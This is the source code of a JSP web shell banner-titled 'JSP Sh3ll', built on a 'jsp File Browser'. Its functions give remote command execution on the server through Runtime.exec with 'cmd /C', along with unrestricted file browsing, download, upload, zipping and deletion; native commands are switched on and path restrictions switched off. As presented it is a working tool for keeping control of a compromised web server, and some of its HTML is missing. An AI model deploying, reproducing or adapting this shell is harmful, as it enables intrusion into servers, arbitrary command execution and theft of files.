29 | <%!
30 | private static final boolean NATIVE_COMMANDS = true;
31 | private static final boolean RESTRICT_BROWSING = false;
32 | private static final boolean RESTRICT_WHITELIST = false;
33 | private static final String RESTRICT_PATH = "/etc;/var";
34 | private static final int UPLOAD_MONITOR_REFRESH = 2; private static final int EDITFIELD_COLS = 85; private static final int EDITFIELD_ROWS = 30; private static final boolean USE_POPUP = true;
35 | private static final boolean USE_DIR_PREVIEW = true;
36 | private static final int DIR_PREVIEW_NUMBER = 10;
37 | private static final String CSS_NAME = "Browser.css";
38 | private static final int COMPRESSION_LEVEL = 1;
39 | private static final String[] FORBIDDEN_DRIVES = {"a:\\"};
40 | private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
41 | private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
42 | private static final String SAVE_AS_ZIP = "Download selected files as zip";
43 | private static final String RENAME_FILE = "Rename File";
44 | private static final String DELETE_FILES = "Delete selected files";
45 | private static final String CREATE_DIR = "Create Dir";
46 | private static final String CREATE_FILE = "Create File";
47 | private static final String MOVE_FILES = "Move Files";
48 | private static final String COPY_FILES = "Copy Files";
49 | private static String tempdir = ".";
50 | private static String VERSION_NR = "1.1a";
51 | private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
52 |
53 | public class UplInfo {
54 |
55 | public long totalSize;
56 | public long currSize;
57 | public long starttime;
58 | public boolean aborted;
59 |
60 | public UplInfo() {
61 | totalSize = 0l;
62 | currSize = 0l;
63 | starttime = System.currentTimeMillis();
64 | aborted = false;
65 | }
66 |
67 | public UplInfo(int size) {
68 | totalSize = size;
69 | currSize = 0;
70 | starttime = System.currentTimeMillis();
71 | aborted = false;
72 | }
73 |
74 | public String getUprate() {
75 | long time = System.currentTimeMillis() - starttime;
76 | if (time != 0) {
77 | long uprate = currSize * 1000 / time;
78 | return convertFileSize(uprate) + "/s";
79 | }
80 | else return "n/a";
81 | }
82 |
83 | public int getPercent() {
84 | if (totalSize == 0) return 0;
85 | else return (int) (currSize * 100 / totalSize);
86 | }
87 |
88 | public String getTimeElapsed() {
89 | long time = (System.currentTimeMillis() - starttime) / 1000l;
90 | if (time - 60l >= 0){
91 | if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
92 | else return time / 60 + ":0" + (time % 60) + "m";
93 | }
94 | else return time<10 ? "0" + time + "s": time + "s";
95 | }
96 |
97 | public String getTimeEstimated() {
98 | if (currSize == 0) return "n/a";
99 | long time = System.currentTimeMillis() - starttime;
100 | time = totalSize * time / currSize;
101 | time /= 1000l;
102 | if (time - 60l >= 0){
103 | if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
104 | else return time / 60 + ":0" + (time % 60) + "m";
105 | }
106 | else return time<10 ? "0" + time + "s": time + "s";
107 | }
108 |
109 | }
110 |
111 | public class FileInfo {
112 |
113 | public String name = null, clientFileName = null, fileContentType = null;
114 | private byte[] fileContents = null;
115 | public File file = null;
116 | public StringBuffer sb = new StringBuffer(100);
117 |
118 | public void setFileContents(byte[] aByteArray) {
119 | fileContents = new byte[aByteArray.length];
120 | System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
121 | }
122 | }
123 |
124 | public static class UploadMonitor {
125 |
126 | static Hashtable uploadTable = new Hashtable();
127 |
128 | static void set(String fName, UplInfo info) {
129 | uploadTable.put(fName, info);
130 | }
131 |
132 | static void remove(String fName) {
133 | uploadTable.remove(fName);
134 | }
135 |
136 | static UplInfo getInfo(String fName) {
137 | UplInfo info = (UplInfo) uploadTable.get(fName);
138 | return info;
139 | }
140 | }
141 |
142 | // A Class with methods used to process a ServletInputStream
143 | public class HttpMultiPartParser {
144 |
145 | private final String lineSeparator = System.getProperty("line.separator", "\n");
146 | private final int ONE_MB = 1024 * 1;
147 |
148 | public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
149 | int clength) throws IllegalArgumentException, IOException {
150 | if (is == null) throw new IllegalArgumentException("InputStream");
151 | if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
152 | "\"" + boundary + "\" is an illegal boundary indicator");
153 | boundary = "--" + boundary;
154 | StringTokenizer stLine = null, stFields = null;
155 | FileInfo fileInfo = null;
156 | Hashtable dataTable = new Hashtable(5);
157 | String line = null, field = null, paramName = null;
158 | boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
159 | boolean isFile = false;
160 | if (saveFiles) { // Create the required directory (including parent dirs)
161 | File f = new File(saveInDir);
162 | f.mkdirs();
163 | }
164 | line = getLine(is);
165 | if (line == null || !line.startsWith(boundary)) throw new IOException(
166 | "Boundary not found; boundary = " + boundary + ", line = " + line);
167 | while (line != null) {
168 | if (line == null || !line.startsWith(boundary)) return dataTable;
169 | line = getLine(is);
170 | if (line == null) return dataTable;
171 | stLine = new StringTokenizer(line, ";\r\n");
172 | if (stLine.countTokens() < 2) throw new IllegalArgumentException(
173 | "Bad data in second line");
174 | line = stLine.nextToken().toLowerCase();
175 | if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
176 | "Bad data in second line");
177 | stFields = new StringTokenizer(stLine.nextToken(), "=\"");
178 | if (stFields.countTokens() < 2) throw new IllegalArgumentException(
179 | "Bad data in second line");
180 | fileInfo = new FileInfo();
181 | stFields.nextToken();
182 | paramName = stFields.nextToken();
183 | isFile = false;
184 | if (stLine.hasMoreTokens()) {
185 | field = stLine.nextToken();
186 | stFields = new StringTokenizer(field, "=\"");
187 | if (stFields.countTokens() > 1) {
188 | if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
189 | fileInfo.name = paramName;
190 | String value = stFields.nextToken();
191 | if (value != null && value.trim().length() > 0) {
192 | fileInfo.clientFileName = value;
193 | isFile = true;
194 | }
195 | else {
196 | line = getLine(is); // Skip "Content-Type:" line
197 | line = getLine(is); // Skip blank line
198 | line = getLine(is); // Skip blank line
199 | line = getLine(is); // Position to boundary line
200 | continue;
201 | }
202 | }
203 | }
204 | else if (field.toLowerCase().indexOf("filename") >= 0) {
205 | line = getLine(is); // Skip "Content-Type:" line
206 | line = getLine(is); // Skip blank line
207 | line = getLine(is); // Skip blank line
208 | line = getLine(is); // Position to boundary line
209 | continue;
210 | }
211 | }
212 | boolean skipBlankLine = true;
213 | if (isFile) {
214 | line = getLine(is);
215 | if (line == null) return dataTable;
216 | if (line.trim().length() < 1) skipBlankLine = false;
217 | else {
218 | stLine = new StringTokenizer(line, ": ");
219 | if (stLine.countTokens() < 2) throw new IllegalArgumentException(
220 | "Bad data in third line");
221 | stLine.nextToken(); // Content-Type
222 | fileInfo.fileContentType = stLine.nextToken();
223 | }
224 | }
225 | if (skipBlankLine) {
226 | line = getLine(is);
227 | if (line == null) return dataTable;
228 | }
229 | if (!isFile) {
230 | line = getLine(is);
231 | if (line == null) return dataTable;
232 | dataTable.put(paramName, line);
233 | // If parameter is dir, change saveInDir to dir
234 | if (paramName.equals("dir")) saveInDir = line;
235 | line = getLine(is);
236 | continue;
237 | }
238 | try {
239 | UplInfo uplInfo = new UplInfo(clength);
240 | UploadMonitor.set(fileInfo.clientFileName, uplInfo);
241 | OutputStream os = null;
242 | String path = null;
243 | if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
244 | fileInfo.clientFileName));
245 | else os = new ByteArrayOutputStream(ONE_MB);
246 | boolean readingContent = true;
247 | byte previousLine[] = new byte[2 * ONE_MB];
248 | byte temp[] = null;
249 | byte currentLine[] = new byte[2 * ONE_MB];
250 | int read, read3;
251 | if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
252 | line = null;
253 | break;
254 | }
255 | while (readingContent) {
256 | if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
257 | line = null;
258 | uplInfo.aborted = true;
259 | break;
260 | }
261 | if (compareBoundary(boundary, currentLine)) {
262 | os.write(previousLine, 0, read - 2);
263 | line = new String(currentLine, 0, read3);
264 | break;
265 | }
266 | else {
267 | os.write(previousLine, 0, read);
268 | uplInfo.currSize += read;
269 | temp = currentLine;
270 | currentLine = previousLine;
271 | previousLine = temp;
272 | read = read3;
273 | }//end else
274 | }//end while
275 | os.flush();
276 | os.close();
277 | if (!saveFiles) {
278 | ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
279 | fileInfo.setFileContents(baos.toByteArray());
280 | }
281 | else fileInfo.file = new File(path);
282 | dataTable.put(paramName, fileInfo);
283 | uplInfo.currSize = uplInfo.totalSize;
284 | }//end try
285 | catch (IOException e) {
286 | throw e;
287 | }
288 | }
289 | return dataTable;
290 | }
291 | private boolean compareBoundary(String boundary, byte ba[]) {
292 | byte b;
293 | if (boundary == null || ba == null) return false;
294 | for (int i = 0; i < boundary.length(); i++)
295 | if ((byte) boundary.charAt(i) != ba[i]) return false;
296 | return true;
297 | }
298 | private synchronized String getLine(ServletInputStream sis) throws IOException {
299 | byte b[] = new byte[1024];
300 | int read = sis.readLine(b, 0, b.length), index;
301 | String line = null;
302 | if (read != -1) {
303 | line = new String(b, 0, read);
304 | if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
305 | }
306 | return line;
307 | }
308 |
309 | public String getFileName(String dir, String fileName) throws IllegalArgumentException {
310 | String path = null;
311 | if (dir == null || fileName == null) throw new IllegalArgumentException(
312 | "dir or fileName is null");
313 | int index = fileName.lastIndexOf('/');
314 | String name = null;
315 | if (index >= 0) name = fileName.substring(index + 1);
316 | else name = fileName;
317 | index = name.lastIndexOf('\\');
318 | if (index >= 0) fileName = name.substring(index + 1);
319 | path = dir + File.separator + fileName;
320 | if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
321 | else return path.replace('/', File.separatorChar);
322 | }
323 | } //End of class HttpMultiPartParser
324 | class FileComp implements Comparator {
325 |
326 | int mode;
327 | int sign;
328 |
329 | FileComp() {
330 | this.mode = 1;
331 | this.sign = 1;
332 | }
333 |
334 | /**
335 | * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
336 | * The default sorting method is by Name
337 | * Negative mode means descending sort
338 | */
339 | FileComp(int mode) {
340 | if (mode < 0) {
341 | this.mode = -mode;
342 | sign = -1;
343 | }
344 | else {
345 | this.mode = mode;
346 | this.sign = 1;
347 | }
348 | }
349 |
350 | public int compare(Object o1, Object o2) {
351 | File f1 = (File) o1;
352 | File f2 = (File) o2;
353 | if (f1.isDirectory()) {
354 | if (f2.isDirectory()) {
355 | switch (mode) {
356 | //Filename or Type
357 | case 1:
358 | case 4:
359 | return sign
360 | * f1.getAbsolutePath().toUpperCase().compareTo(
361 | f2.getAbsolutePath().toUpperCase());
362 | //Filesize
363 | case 2:
364 | return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
365 | //Date
366 | case 3:
367 | return sign
368 | * (new Long(f1.lastModified())
369 | .compareTo(new Long(f2.lastModified())));
370 | default:
371 | return 1;
372 | }
373 | }
374 | else return -1;
375 | }
376 | else if (f2.isDirectory()) return 1;
377 | else {
378 | switch (mode) {
379 | case 1:
380 | return sign
381 | * f1.getAbsolutePath().toUpperCase().compareTo(
382 | f2.getAbsolutePath().toUpperCase());
383 | case 2:
384 | return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
385 | case 3:
386 | return sign
387 | * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));
388 | case 4: { // Sort by extension
389 | int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.');
390 | int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.');
391 | if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension
392 | return sign
393 | * f1.getAbsolutePath().toUpperCase().compareTo(
394 | f2.getAbsolutePath().toUpperCase());
395 | }
396 | // f1 has no extension
397 | else if (tempIndexf1 == -1) return -sign;
398 | // f2 has no extension
399 | else if (tempIndexf2 == -1) return sign;
400 | // Both have an extension
401 | else {
402 | String tempEndf1 = f1.getAbsolutePath().toUpperCase()
403 | .substring(tempIndexf1);
404 | String tempEndf2 = f2.getAbsolutePath().toUpperCase()
405 | .substring(tempIndexf2);
406 | return sign * tempEndf1.compareTo(tempEndf2);
407 | }
408 | }
409 | default:
410 | return 1;
411 | }
412 | }
413 | }
414 | }
415 | class Writer2Stream extends OutputStream {
416 |
417 | Writer out;
418 |
419 | Writer2Stream(Writer w) {
420 | super();
421 | out = w;
422 | }
423 |
424 | public void write(int i) throws IOException {
425 | out.write(i);
426 | }
427 |
428 | public void write(byte[] b) throws IOException {
429 | for (int i = 0; i < b.length; i++) {
430 | int n = b[i];
431 | //Convert byte to ubyte
432 | n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
433 | out.write(n);
434 | }
435 | }
436 |
437 | public void write(byte[] b, int off, int len) throws IOException {
438 | for (int i = off; i < off + len; i++) {
439 | int n = b[i];
440 | n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
441 | out.write(n);
442 | }
443 | }
444 | } //End of class Writer2Stream
445 |
446 | static Vector expandFileList(String[] files, boolean inclDirs) {
447 | Vector v = new Vector();
448 | if (files == null) return v;
449 | for (int i = 0; i < files.length; i++)
450 | v.add(new File(URLDecoder.decode(files[i])));
451 | for (int i = 0; i < v.size(); i++) {
452 | File f = (File) v.get(i);
453 | if (f.isDirectory()) {
454 | File[] fs = f.listFiles();
455 | for (int n = 0; n < fs.length; n++)
456 | v.add(fs[n]);
457 | if (!inclDirs) {
458 | v.remove(i);
459 | i--;
460 | }
461 | }
462 | }
463 | return v;
464 | }
465 |
466 | /**
467 | * Method to build an absolute path
468 | * @param dir the root dir
469 | * @param name the name of the new directory
470 | * @return if name is an absolute directory, returns name, else returns dir+name
471 | */
472 | static String getDir(String dir, String name) {
473 | if (!dir.endsWith(File.separator)) dir = dir + File.separator;
474 | File mv = new File(name);
475 | String new_dir = null;
476 | if (!mv.isAbsolute()) {
477 | new_dir = dir + name;
478 | }
479 | else new_dir = name;
480 | return new_dir;
481 | }
482 |
483 | /**
484 | * This Method converts a byte size in a kbytes or Mbytes size, depending on the size
485 | * @param size The size in bytes
486 | * @return String with size and unit
487 | */
488 | static String convertFileSize(long size) {
489 | int divisor = 1;
490 | String unit = "bytes";
491 | if (size >= 1024 * 1024) {
492 | divisor = 1024 * 1024;
493 | unit = "MB";
494 | }
495 | else if (size >= 1024) {
496 | divisor = 1024;
497 | unit = "KB";
498 | }
499 | if (divisor == 1) return size / divisor + " " + unit;
500 | String aftercomma = "" + 100 * (size % divisor) / divisor;
501 | if (aftercomma.length() == 1) aftercomma = "0" + aftercomma;
502 | return size / divisor + "." + aftercomma + " " + unit;
503 | }
504 |
505 | /**
506 | * Copies all data from in to out
507 | * @param in the input stream
508 | * @param out the output stream
509 | * @param buffer copy buffer
510 | */
511 | static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {
512 | copyStreamsWithoutClose(in, out, buffer);
513 | in.close();
514 | out.close();
515 | }
516 |
517 | /**
518 | * Copies all data from in to out
519 | * @param in the input stream
520 | * @param out the output stream
521 | * @param buffer copy buffer
522 | */
523 | static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)
524 | throws IOException {
525 | int b;
526 | while ((b = in.read(buffer)) != -1)
527 | out.write(buffer, 0, b);
528 | }
529 | static String getMimeType(String fName) {
530 | fName = fName.toLowerCase();
531 | if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg";
532 | else if (fName.endsWith(".gif")) return "image/gif";
533 | else if (fName.endsWith(".pdf")) return "application/pdf";
534 | else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html";
535 | else if (fName.endsWith(".avi")) return "video/x-msvideo";
536 | else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime";
537 | else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg";
538 | else if (fName.endsWith(".zip")) return "application/zip";
539 | else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff";
540 | else if (fName.endsWith(".rtf")) return "application/rtf";
541 | else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi";
542 | else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv")
543 | || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt")
544 | || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel";
545 | else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword";
546 | else if (fName.endsWith(".png")) return "image/png";
547 | else if (fName.endsWith(".xml")) return "text/xml";
548 | else if (fName.endsWith(".svg")) return "image/svg+xml";
549 | else if (fName.endsWith(".mp3")) return "audio/mp3";
550 | else if (fName.endsWith(".ogg")) return "audio/ogg";
551 | else return "text/plain";
552 | }
553 |
554 | /**
555 | * Converts some important chars (int) to the corresponding html string
556 | */
557 | static String conv2Html(int i) {
558 | if (i == '&') return "&";
559 | else if (i == '<') return "<";
560 | else if (i == '>') return ">";
561 | else if (i == '"') return """;
562 | else return "" + (char) i;
563 | }
564 |
565 | /**
566 | * Converts a normal string to a html conform string
567 | */
568 | static String conv2Html(String st) {
569 | StringBuffer buf = new StringBuffer();
570 | for (int i = 0; i < st.length(); i++) {
571 | buf.append(conv2Html(st.charAt(i)));
572 | }
573 | return buf.toString();
574 | }
575 |
576 | /**
577 | * Starts a native process on the server
578 | * @param command the command to start the process
579 | * @param dir the dir in which the process starts
580 | */
581 | static String startProcess(String command, String dir) throws IOException {
582 | StringBuffer ret = new StringBuffer();
583 | String[] comm = new String[3];
584 | comm[0] = COMMAND_INTERPRETER[0];
585 | comm[1] = COMMAND_INTERPRETER[1];
586 | comm[2] = command;
587 | long start = System.currentTimeMillis();
588 | try {
589 | //Start process
590 | Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
591 | //Get input and error streams
592 | BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
593 | BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
594 | boolean end = false;
595 | while (!end) {
596 | int c = 0;
597 | while ((ls_err.available() > 0) && (++c <= 1000)) {
598 | ret.append(conv2Html(ls_err.read()));
599 | }
600 | c = 0;
601 | while ((ls_in.available() > 0) && (++c <= 1000)) {
602 | ret.append(conv2Html(ls_in.read()));
603 | }
604 | try {
605 | ls_proc.exitValue();
606 | //if the process has not finished, an exception is thrown
607 | //else
608 | while (ls_err.available() > 0)
609 | ret.append(conv2Html(ls_err.read()));
610 | while (ls_in.available() > 0)
611 | ret.append(conv2Html(ls_in.read()));
612 | end = true;
613 | }
614 | catch (IllegalThreadStateException ex) {
615 | //Process is running
616 | }
617 | //The process is not allowed to run longer than given time.
618 | if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) {
619 | ls_proc.destroy();
620 | end = true;
621 | ret.append("!!!! Process has timed out, destroyed !!!!!");
622 | }
623 | try {
624 | Thread.sleep(50);
625 | }
626 | catch (InterruptedException ie) {}
627 | }
628 | }
629 | catch (IOException e) {
630 | ret.append("Error: " + e);
631 | }
632 | return ret.toString();
633 | }
634 |
635 | /**
636 | * Converts a dir string to a linked dir string
637 | * @param dir the directory string (e.g. /usr/local/httpd)
638 | * @param browserLink web-path to Browser.jsp
639 | */
640 | static String dir2linkdir(String dir, String browserLink, int sortMode) {
641 | File f = new File(dir);
642 | StringBuffer buf = new StringBuffer();
643 | while (f.getParentFile() != null) {
644 | if (f.canRead()) {
645 | String encPath = URLEncoder.encode(f.getAbsolutePath());
646 | buf.insert(0, "
" + conv2Html(f.getName()) + File.separator + " ");
648 | }
649 | else buf.insert(0, conv2Html(f.getName()) + File.separator);
650 | f = f.getParentFile();
651 | }
652 | if (f.canRead()) {
653 | String encPath = URLEncoder.encode(f.getAbsolutePath());
654 | buf.insert(0, "
" + conv2Html(f.getAbsolutePath()) + " ");
656 | }
657 | else buf.insert(0, f.getAbsolutePath());
658 | return buf.toString();
659 | }
660 |
661 | /**
662 | * Returns true if the given filename tends towards a packed file
663 | */
664 | static boolean isPacked(String name, boolean gz) {
665 | return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar")
666 | || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase()
667 | .endsWith(".war"));
668 | }
669 |
670 | /**
671 | * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not
672 | */
673 | static boolean isAllowed(File path) throws IOException{
674 | if (RESTRICT_BROWSING) {
675 | StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";");
676 | while (stk.hasMoreTokens()){
677 | if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken()))
678 | return RESTRICT_WHITELIST;
679 | }
680 | return !RESTRICT_WHITELIST;
681 | }
682 | else return true;
683 | }
684 |
685 | //---------------------------------------------------------------------------------------------------------------
686 |
687 | %>
688 | <%
689 | //Get the current browsing directory
690 | request.setAttribute("dir", request.getParameter("dir"));
691 | // The browser_name variable is used to keep track of the URI
692 | // of the jsp file itself. It is used in all link-backs.
693 | final String browser_name = request.getRequestURI();
694 | final String FOL_IMG = "";
695 | boolean nohtml = false;
696 | boolean dir_view = true;
697 | // View file
698 | if (request.getParameter("file") != null) {
699 | File f = new File(request.getParameter("file"));
700 | if (!isAllowed(f)) {
701 | request.setAttribute("dir", f.getParent());
702 | request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath());
703 | }
704 | else if (f.exists() && f.canRead()) {
705 | if (isPacked(f.getName(), false)) {
706 | //If zipFile, do nothing here
707 | }
708 | else{
709 | String mimeType = getMimeType(f.getName());
710 | response.setContentType(mimeType);
711 | if (mimeType.equals("text/plain")) response.setHeader(
712 | "Content-Disposition", "inline;filename=\"temp.txt\"");
713 | else response.setHeader("Content-Disposition", "inline;filename=\""
714 | + f.getName() + "\"");
715 | BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
716 | byte buffer[] = new byte[8 * 1024];
717 | out.clearBuffer();
718 | OutputStream out_s = new Writer2Stream(out);
719 | copyStreamsWithoutClose(fileInput, out_s, buffer);
720 | fileInput.close();
721 | out_s.flush();
722 | nohtml = true;
723 | dir_view = false;
724 | }
725 | }
726 | else {
727 | request.setAttribute("dir", f.getParent());
728 | request.setAttribute("error", "File " + f.getAbsolutePath()
729 | + " does not exist or is not readable on the server");
730 | }
731 | }
732 | // Download selected files as zip file
733 | else if ((request.getParameter("Submit") != null)
734 | && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) {
735 | Vector v = expandFileList(request.getParameterValues("selfile"), false);
736 | //Check if all files in vector are allowed
737 | String notAllowedFile = null;
738 | for (int i = 0;i < v.size(); i++){
739 | File f = (File) v.get(i);
740 | if (!isAllowed(f)){
741 | notAllowedFile = f.getAbsolutePath();
742 | break;
743 | }
744 | }
745 | if (notAllowedFile != null){
746 | request.setAttribute("error", "You are not allowed to access " + notAllowedFile);
747 | }
748 | else if (v.size() == 0) {
749 | request.setAttribute("error", "No files selected");
750 | }
751 | else {
752 | File dir_file = new File("" + request.getAttribute("dir"));
753 | int dir_l = dir_file.getAbsolutePath().length();
754 | response.setContentType("application/zip");
755 | response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
756 | out.clearBuffer();
757 | ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
758 | zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
759 | zipout.setLevel(COMPRESSION_LEVEL);
760 | for (int i = 0; i < v.size(); i++) {
761 | File f = (File) v.get(i);
762 | if (f.canRead()) {
763 | zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));
764 | BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
765 | byte buffer[] = new byte[0xffff];
766 | copyStreamsWithoutClose(fr, zipout, buffer);
767 | /* int b;
768 | while ((b=fr.read())!=-1) zipout.write(b);*/
769 | fr.close();
770 | zipout.closeEntry();
771 | }
772 | }
773 | zipout.finish();
774 | out.flush();
775 | nohtml = true;
776 | dir_view = false;
777 | }
778 | }
779 | // Download file
780 | else if (request.getParameter("downfile") != null) {
781 | String filePath = request.getParameter("downfile");
782 | File f = new File(filePath);
783 | if (!isAllowed(f)){
784 | request.setAttribute("dir", f.getParent());
785 | request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile());
786 | }
787 | else if (f.exists() && f.canRead()) {
788 | response.setContentType("application/octet-stream");
789 | response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName()
790 | + "\"");
791 | response.setContentLength((int) f.length());
792 | BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
793 | byte buffer[] = new byte[8 * 1024];
794 | out.clearBuffer();
795 | OutputStream out_s = new Writer2Stream(out);
796 | copyStreamsWithoutClose(fileInput, out_s, buffer);
797 | fileInput.close();
798 | out_s.flush();
799 | nohtml = true;
800 | dir_view = false;
801 | }
802 | else {
803 | request.setAttribute("dir", f.getParent());
804 | request.setAttribute("error", "File " + f.getAbsolutePath()
805 | + " does not exist or is not readable on the server");
806 | }
807 | }
808 | if (nohtml) return;
809 | //else
810 | // If no parameter is submitted, it will take the path from jsp file browser
811 | if (request.getAttribute("dir") == null) {
812 | String path = null;
813 | if (application.getRealPath(request.getRequestURI()) != null) path = new File(
814 | application.getRealPath(request.getRequestURI())).getParent();
815 |
816 | if (path == null) { // handle the case where we are not in a directory (ex: war file)
817 | path = new File(".").getAbsolutePath();
818 | }
819 | //Check path
820 | if (!isAllowed(new File(path))){
821 | if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH;
822 | else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";"));
823 | }
824 | request.setAttribute("dir", path);
825 | }%>
826 |
828 |
829 |
830 |
831 |
832 |
833 |
834 |
835 |
836 | <%
837 | //If a cssfile exists, it will take it
838 | String cssPath = null;
839 | if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File(
840 | application.getRealPath(request.getRequestURI())).getParent()
841 | + File.separator + CSS_NAME;
842 | if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString();
843 | if (new File(cssPath).exists()) {
844 | %>
845 |
846 | <%}
847 | else if (request.getParameter("uplMonitor") == null) {%>
848 |
849 |
850 |
851 |
852 |
853 |
854 |
855 |
856 |
--==[[JSP Sh3ll]]==--
857 |
858 |
859 |
860 |
861 |
1022 | <%}
1023 |
1024 | //Check path
1025 | if (!isAllowed(new File((String)request.getAttribute("dir")))){
1026 | request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir"));
1027 | }
1028 | //Upload monitor
1029 | else if (request.getParameter("uplMonitor") != null) {%>
1030 | <%
1033 | String fname = request.getParameter("uplMonitor");
1034 | //First opening
1035 | boolean first = false;
1036 | if (request.getParameter("first") != null) first = true;
1037 | UplInfo info = new UplInfo();
1038 | if (!first) {
1039 | info = UploadMonitor.getInfo(fname);
1040 | if (info == null) {
1041 | //Windows
1042 | int posi = fname.lastIndexOf("\\");
1043 | if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
1044 | }
1045 | if (info == null) {
1046 | //Unix
1047 | int posi = fname.lastIndexOf("/");
1048 | if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
1049 | }
1050 | }
1051 | dir_view = false;
1052 | request.setAttribute("dir", null);
1053 | if (info.aborted) {
1054 | UploadMonitor.remove(fname);
1055 | %>
1056 |
1057 |
1058 |
1059 |
Upload of <%=fname%>
1060 | Upload aborted.
1061 | <%
1062 | }
1063 | else if (info.totalSize != info.currSize || info.currSize == 0) {
1064 | %>
1065 |
1066 |
1067 |
1068 |
Upload of <%=fname%>
1069 |
1070 |
1073 | <%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%>
1074 | (<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).
1075 | Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%>
1076 |
1077 | <%
1078 | }
1079 | else {
1080 | UploadMonitor.remove(fname);
1081 | %>
1082 |
1083 |
1084 |
Upload of <%=fname%>
1085 | Upload finished.
1086 |
1087 | <%
1088 | }
1089 | }
1090 | //Comandwindow
1091 | else if (request.getParameter("command") != null) {
1092 | if (!NATIVE_COMMANDS){
1093 | request.setAttribute("error", "Execution of native commands is not allowed!");
1094 | }
1095 | else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) {
1096 | %>
1097 |
Launch commands in <%=request.getAttribute("dir")%>
1098 |
1099 |
1100 | <%
1101 | out.println("
1121 |
1122 |